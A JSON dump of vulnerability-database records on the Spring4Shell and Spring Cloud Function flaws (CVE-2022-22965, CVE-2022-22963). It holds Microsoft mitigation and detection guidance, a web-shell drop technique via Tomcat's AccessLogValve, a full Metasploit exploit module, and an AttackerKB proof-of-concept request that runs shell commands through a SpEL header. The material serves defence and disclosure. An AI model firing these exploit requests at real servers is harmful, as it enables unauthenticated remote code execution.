accessor of _Class_ objects, Spring mapped the _getClassLoader()_ accessor of the _Module_ object. Once again, one could reference the class loader from Spring via the _class.module.classLoader_ parameter name prefix.\n\n#### From _ClassLoader_ to _AccessLogValve_\n\nThe latest exploit uses the same accessor chaining, via the Tomcat class loader, to drop a JSP web shell on the server.\n\nThis is done by manipulating the properties of the _AccessLogValve_ object in Tomcat\u2019s pipeline. The _AccessLogValve _is referenced using the _class.module.classLoader.resources.context.parent.pipeline.first_ parameter prefix.\n\nThe following properties are changed:\n\n 1. **Directory: **The path where to store the access log, relative to Tomcat\u2019s root directory. This can be manipulated to point into a location accessible by http requests, such as the web application\u2019s directory.\n 2. **Prefix: **The prefix of the access log file name\n 3. **Suffix: **The suffix of the access log file name. The log file name is a concatenation of the prefix with the suffix.\n 4. **Pattern: **A string that describes the log record structure. This can be manipulated so that each record will essentially contain a JSP web shell.\n 5. **FileDateFormat:** Setting this causes the new access log settings to take effect.\n\nOnce the web shell is dropped on the server, the attacker can execute commands on the server as Tomcat.\n\n## Discovery and mitigations\n\n### How to find vulnerable devices\n\n[Threat and vulnerability management](<https://www.microsoft.com/security/business/threat-protection/threat-vulnerability-management>) capabilities in [Microsoft Defender for Endpoint](<https://www.microsoft.com/security/business/threat-protection/endpoint-defender>) monitor an organization\u2019s overall security posture and equip customers with real-time insights into organizational risk through continuous vulnerability discovery, intelligent prioritization, and the ability to seamlessly remediate vulnerabilities. \n\nCustomers can now search for CVE-2022-22965 to find vulnerable devices through the [Weaknesses](<https://securitycenter.microsoft.com/vulnerabilities?search=CVE-2022-22965>) page in threat and vulnerability management.\n\nFigure 4. Weaknesses page in Microsoft Defender for Endpoint\n\n### Enhanced protection with Azure Firewall Premium\n\nCustomers using [Azure Firewall Premium](<https://docs.microsoft.com/azure/firewall/premium-migrate>) have enhanced protection from the SpringShell CVE-2022-22965 vulnerability and exploits. Azure Firewall Premium Intrusion Detection and Prevention System (IDPS) provides IDPS inspection for all east-west traffic, outbound traffic to the internet, and inbound HTTP traffic from the internet. The vulnerability rulesets are continuously updated and include vulnerability protection for SpringShell since March 31, 2022. The screenshot below shows all the scenarios which are actively mitigated by Azure Firewall Premium.\n\nConfigure Azure Firewall Premium with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against CVE-2022-22965 exploit. \n\nFigure 5. Azure Firewall Premium portal detecting CVE-2022-22965 exploitation attempts.\n\nCustomers using Azure Firewall Standard can migrate to Premium by following [these directions](<https://docs.microsoft.com/azure/firewall/premium-migrate>). Customers new to Azure Firewall Premium can learn more about [Firewall Premium](<https://docs.microsoft.com/azure/firewall/premium-features>).\n\n### Detect and protect with Azure Web Application Firewall (Azure WAF)\n\nAzure Web Application Firewall (WAF) customers with Azure Front Door and Azure Application Gateway deployments now have enhanced protection for the SpringShell exploit - [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>), and other high impact Spring vulnerabilities [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>) and [CVE-2022-22947](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947>). To help detect and mitigate these critical Spring vulnerabilities, we have released four new rules.\n\n#### Global WAF with Azure Front Door\n\nAzure WAF has updated Default Rule Set (DRS) versions 2.0/1.1/1.0.\n\n * Rule group: _MS-ThreatIntel-WebShells_, Rule Id: 99005006 - Spring4Shell Interaction Attempt\n * Rule group: _MS-ThreatIntel-CVEs_, Rule Id: 99001014 - Attempted Spring Cloud routing-expression injection (CVE-2022-22963)\n * Rule group: _MS-ThreatIntel-CVEs_, Rule Id: 99001015 - Attempted Spring Framework unsafe class object exploitation (CVE-2022-22965)\n * Rule group: _MS-ThreatIntel-CVEs_, Rule Id: 99001016 - Attempted Spring Cloud Gateway Actuator injection (CVE-2022-22947)\n\nWAF rules on Azure Front Door are disabled by default on existing Microsoft managed rule sets.\n\nFigure 6. Screenshot of WAF Spring vulnerabilities\n\n#### Regional WAF with Azure Application Gateway\n\nAzure WAF has updated OWASP Core Rule Set (CRS) versions for Azure Application Gateway WAF V2 regional deployments. New rules are under _Known_CVEs_ rule group:\n\n * Rule Id: 800110 - _Spring4Shell Interaction Attempt_\n * Rule Id: 800111 - _Attempted Spring Cloud routing-expression injection_ - CVE-2022-22963\n * Rule Id: 800112 - _Attempted Spring Framework unsafe class object exploitation_ - CVE-2022-22965\n * Rule Id: 800113 - _Attempted Spring Cloud Gateway Actuator injection_ - CVE-2022-22947\n\nWAF rules on Azure Application Gateway are _enabled_ by default for supported CRS versions.\n\nFigure 7. Spring vulnerability rules for Azure Application Gateway OWASP Core Rule Set (CRS)\n\n**Recommendation**: Enable WAF SpringShell rules to get protection from these threats. We will continue to monitor threat patterns and modify the above rules in response to emerging attack patterns as required. \n\nFor more information about Managed Rules and Default Rule Set (DRS) on Azure Front Door, see the [Web Application Firewall DRS rule groups and rules documentation](<https://docs.microsoft.com/azure/web-application-firewall/afds/waf-front-door-drs>). For more information about Managed Rules and OWASP Core Rule Set (CRS) on Azure Application Gateway, see the [Web Application Firewall CRS rule groups and rules documentation](<https://docs.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-crs-rulegroups-rules?tabs=owasp32>)\n\n### Patch information and workarounds\n\nCustomers are encouraged to apply these mitigations to reduce the impact of this threat. Check the recommendations card in Microsoft 365 Defender threat and vulnerability management for the deployment status of monitored mitigations.\n\n * An [update](<https://spring.io/blog/2022/03/31/spring-boot-2-6-6-available-now>) is available for CVE-2022-22965. Administrators should upgrade to versions 5.3.18 or later or 5.2.19 or later. If the patch is applied, no other mitigation is necessary.\n\nIf you\u2019re unable to patch CVE-2022-22965, you can implement this set of workarounds published by [Spring](<https://www.springcloud.io/post/2022-03/spring-framework-rce-early-announcement/#gsc.tab=0>):\n\n * Search the @InitBinder annotation globally in the application to see if the dataBinder.setDisallowedFields method is called in the method body. If the introduction of this code snippet is found, add `{\"class.*\",\"Class.*\",\"*.class.*\", \"*.Class.*\"}` to the original blacklist. (**Note:** If this code snippet is used a lot, it needs to be appended in each location.)\n * Add the following global class into the package where the Controller is located. Then recompile and test the project for functionality:\n \n \n import org.springframework.core.annotation.Order;\n import org.springframework.web.bind.WebDataBinder;\n import org.springframework.web.bind.annotation.ControllerAdvice;\n import org.springframework.web.bind.annotation.InitBinder;\n @ControllerAdvice\n @Order(10000)\n public class GlobalControllerAdvice{\n @InitBinder\n public void setAllowedFields(webdataBinder dataBinder){\n String[]abd=new string[]{\"class.*\",\"Class.*\",\"*.class.*\",\"*.Class.*\"};\n dataBinder.setDisallowedFields(abd);\n }\n }\n\n## Detections\n\n### Microsoft 365 Defender\n\n#### Endpoint detection and response (EDR)\n\nAlerts with the following title in the security center can indicate threat activity on your network:\n\n * Possible SpringShell exploitation\n\nThe following alerts for an observed attack, but might not be unique to exploitation for this vulnerability:\n\n * Suspicious process executed by a network service\n\n#### Antivirus\n\nMicrosoft Defender antivirus version **1.361.1234.0** or later detects components and behaviors related to this threat with the following detections:\n\n * Trojan:Python/SpringShellExpl\n * Exploit:Python/SpringShell\n * Backdoor:PHP/Remoteshell.V\n\n### Hunting\n\n#### Microsoft 365 Defender advanced hunting queries \n\nUse the query below to surface exploitation of CVE-2022-22965 on both victim devices and devices performing the exploitation. Note that this query only covers HTTP use of the exploitation and not HTTPS.\n \n \n DeviceNetworkEvents\n | where Timestamp > ago(7d)\n | where ActionType =~ \"NetworkSignatureInspected\"\n | where AdditionalFields contains \".jsp?cmd=\"\n | summarize makeset(AdditionalFields, 5), min(Timestamp), max(Timestamp) by DeviceId, DeviceName \n\n#### Microsoft Sentinel\n\nMicrosoft Sentinel customers can use the following queries to look for this threat activity:\n\n * [Possible SpringShell exploitation attempt (CVE-2022-22965)](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting Queries/AzureDiagnostics/SpringShellExploitationAttempt.yaml>) \u2013 This hunting query looks in Azure Web Application Firewall data to find possible SpringShell exploitation attempt (CVE-2022-22965) to drop a malicious web shell in a location accessible by HTTP requests. Attackers then make requests to the malicious backdoor to run system commands.\n * [Possible web shell usage attempt related to SpringShell (CVE-2202-22965)](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting Queries/AzureDiagnostics/SpringshellWebshellUsage.yaml>) \u2013 This hunting query looks in Azure Web Application Firewall data to find possible web shell usage related to SpringShell RCE vulnerability (CVE-2022-22965).\n * [AV detections related to SpringShell Vulnerability](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/AVSpringShell.yaml>) \u2013 This query looks for Microsoft Defender for Endpoint hits related to the SpringShell vulnerability. In Microsoft Sentinel, the _SecurityAlerts _table includes only the device name of the affected device. This query joins the _DeviceInfo _table to clearly connect other information such as device group, IP address, signed in users, and others. This allows the Microsoft Sentinel analyst to have more context related to the alert, if available.\n\n**Revision history**\n\n_[04/11/2022] \u2013 _Application Gateway now has enhanced protection for critical Spring vulnerabilities - [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>), [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>), and [CVE-2022-22947](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947>)._ _See _Detection and Mitigation section for details_.\n\n_[04/08/2022] \u2013 Azure Web Application Firewall (WAF) customers with Azure Front Door now has enhanced protection for Spring4Shell exploits - CVE-2022-22963, CVE-2022-22965, and CVE-2022-22947. See Detection and Mitigation section for details. \n[04/05/2022] \u2013 We added Microsoft Sentinel hunting queries to look for SpringShell exploitation activity._\n\nThe post [SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965](<https://www.microsoft.com/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-05T01:11:24", "type": "mssecure", "title": "SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2022-22947", "CVE-2022-22963", "CVE-2022-22965", "CVE-2202-22965"], "modified": "2022-04-05T01:11:24", "id": "MSSECURE:07417E2EE012BAE0350B156AD2AE30B3", "href": "https://www.microsoft.com/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-06-24T08:36:21", "description": "Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n", "cvss3": {}, "published": "2022-03-30T22:38:41", "type": "metasploit", "title": "Spring Cloud Function SpEL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T13:01:08", "id": "MSF:EXPLOIT-MULTI-HTTP-SPRING_CLOUD_FUNCTION_SPEL_INJECTION-", "href": "https://www.rapid7.com/db/modules/exploit/multi/http/spring_cloud_function_spel_injection/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Spring Cloud Function SpEL Injection',\n 'Description' => %q{\n Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using\n an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting\n the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code\n execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.\n },\n 'Author' => [\n 'm09u3r', # vulnerability discovery\n 'hktalent', # github PoC\n 'Spencer McIntyre'\n ],\n 'References' => [\n ['CVE', '2022-22963'],\n ['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],\n ['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],\n ['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']\n ],\n 'DisclosureDate' => '2022-03-29',\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => false,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'DefaultOptions' => {\n 'RPORT' => 8080,\n 'TARGETURI' => '/functionRouter'\n },\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/'])\n ])\n end\n\n def check\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'])\n )\n\n return CheckCode::Unknown unless res\n\n # both vulnerable and patched servers respond with 500 and a JSON body with these keys\n return CheckCode::Safe unless res.code == 500\n return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)\n\n # best we can do is detect that the service is running\n CheckCode::Detected\n end\n\n def exploit\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :unix_cmd\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(\"Executing command: #{cmd}\")\n res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI']),\n 'headers' => {\n 'spring.cloud.function.routing-expression' => \"T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub(\"'\", \"''\")}'})\"\n }\n )\n\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/spring_cloud_function_spel_injection.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "checkpoint_advisories": [{"lastseen": "2022-04-07T03:29:32", "description": "A remote code execution vulnerability exists in Spring Cloud Function. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T00:00:00", "type": "checkpoint_advisories", "title": "Spring Cloud Function Remote Code Execution (CVE-2022-22963)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T00:00:00", "id": "CPAI-2022-0096", "href": "", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "wizblog": [{"lastseen": "2023-07-21T20:20:00", "description": "Learn how to address Spring4Shell and CVE-2022-22963 RCE vulnerabilities in cloud environments.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T05:00:39", "type": "wizblog", "title": "Addressing the Spring4Shell and CVE-2022-22963 RCE vulnerabilities in cloud environments", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-01T05:00:39", "id": "WIZBLOG:E7BB6906DDEB4849A11E483EC9AE559E", "href": "https://www.wiz.io/blog/addressing-recent-spring4shell-and-cve-2022-22963-rce-vulnerabilities-with-wiz", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "cisa_kev": [{"lastseen": "2023-07-21T17:22:44", "description": "When using routing functionality in VMware Tanzu's Spring Cloud Function, it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-08-25T00:00:00", "type": "cisa_kev", "title": "VMware Tanzu Spring Cloud Function Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-08-25T00:00:00", "id": "CISA-KEV-CVE-2022-22963", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2023-07-23T02:21:56", "description": "In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at March 30, 2022 8:46pm UTC reported:\n\nCVE-2022-22963 is an unauthenticated remote code execution vulnerability within Spring Cloud Function prior to 3.1.7 and 3.2.3. This vulnerability should not be confused with the reported 0-day dubbed Spring4Shell that was disclosed at around the same time.\n\nThe cause of this vulnerability is an unsafe evaluation context for the [Spring Expression Language (SpEL)](<https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/expressions.html>) that can be included in the `spring.cloud.function.routing-expression` header. By crafting a POST request with the header, an attacker may execute malicious SpEL queries resulting in code execution in the context of the Spring Cloud Function application.\n\nOne early PoC demonstrated that the SpEL query could be used to execute an OS command through the Java Runtime. The following example echos to the `/tmp/success` file. It differs from the original by using an array of strings for the arguments passed to `exec`. Because the header value is an SpEL query, single quotes should be [escaped by doubling them](<https://docs.spring.io/spring-cloud-dataflow/docs/1.2.3.RELEASE/reference/html/shell-white-space.html#CO10-2>).\n \n \n POST /functionRouter HTTP/1.1\n Host: 192.168.159.128:8080\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69\n spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','echo \"hello world\" >> /tmp/msf-success'})\n Content-Type: application/x-www-form-urlencoded\n Content-Length: 0\n \n\nOn successful exploitation, the server responds with a 500 error and a JSON response.\n \n \n HTTP/1.1 500 Internal Server Error\n Content-Type: application/json\n Content-Length: 153\n \n {\"timestamp\":\"2022-03-30T20:41:28.551+00:00\",\"path\":\"/functionRouter\",\"status\":500,\"error\":\"Internal Server Error\",\"message\":\"\",\"requestId\":\"8fed4100-1\"}\n \n\nThe response from a server that was patched for the vulnerability (versions 3.1.7 and 3.2.3) is identical.\n\nThe vulnerability was patched on March, 29th, 2022 in commit [bcb2a25a](<https://github.com/spring-cloud/spring-cloud-function/commit/bcb2a25a28f3d026b35a795abe18d14f9cdb3022>). The patch adds a [second evaluation context](<https://github.com/spring-cloud/spring-cloud-function/blob/bcb2a25a28f3d026b35a795abe18d14f9cdb3022/spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L64>) and uses it when the SpEL query [originates](<https://github.com/spring-cloud/spring-cloud-function/blob/bcb2a25a28f3d026b35a795abe18d14f9cdb3022/spring-cloud-function-context/src/main/java/org/springframework/cloud/function/context/config/RoutingFunction.java#L202>) from the HTTP request header. The [SimpleEvaluationContext](<https://docs.spring.io/spring-framework/docs/5.0.6.RELEASE/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html>) is used when the query originates from a header.\n\n> SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-01T00:00:00", "type": "attackerkb", "title": "CVE-2022-22963", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22963"], "modified": "2022-04-01T00:00:00", "id": "AKB:5BDFACBD-4722-492A-AAA8-EBCC3C6403C4", "href": "https://attackerkb.com/topics/1RIGeNMYFk/cve-2022-22963", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-14T14:47:41", "description": "A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.\n\n \n**Recent assessments:** \n \n**jbaines-r7** at April 01, 2022 6:13pm UTC reported:\n\nIt\u2019s currently difficult to assess the exact value of this vulnerability because we don\u2019t know how common the vulnerable configuration is. We might not even be aware of all the vulnerable configurations at this time. See the Rapid7 analysis for additional details.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 2\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-02T00:00:00", "type": "attackerkb", "title": "CVE-2022-22965", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-02T00:00:00", "id": "AKB:F4BF02AE-B090-4307-89AA-47E57C92EC8F", "href": "https://attackerkb.com/topics/xtgLfwQYBm/cve-2022-22965", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "akamaiblog": [{"lastseen": "2022-04-01T15:27:32", "description": "Although Spring Cloud Functions are not as widespread as the Log4j library, and should provide a good separation from the hosting server, some draw the line between the two, due to the ease of exploitation over HTTP/s. This new vulnerability will definitely result in many threat actors launching campaigns for crypto-mining, ddos, ransomware, and as a golden ticket to break into organizations for the next years to come.", "cvss3": {}, "published": "2022-03-31T19:30:00", "type": "akamaiblog", "title": "Spring Cloud Function SpEL Injection (CVE-2022-22963) Exploited in the Wild", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-22963"], "modified": "2022-03-31T19:30:00", "id": "AKAMAIBLOG:8B6AA3E3035869AEAE3021AB3F1EFE32", "href": "https://www.akamai.com/blog/security/spring-cloud-function", "cvss": {"score": 0.0, "vector": "NONE"}}], "trendmicroblog": [{"lastseen": "2022-04-08T19:28:48", "description": "We discovered active exploitation of a vulnerability in the Spring Framework designated as CVE-2022-22965 that allows malicious actors to download the Mirai botnet malware.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-08T00:00:00", "type": "trendmicroblog", "title": "CVE-2022-22965: Analyzing the Exploitation of Spring4Shell Vulnerability in Weaponizing and Executing the Mirai Botnet Malware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-22965"], "modified": "2022-04-08T00:00:00", "id": "TRENDMICROBLOG:3BBEDAD3D1AE692D361A31D5E9AE2538", "href": 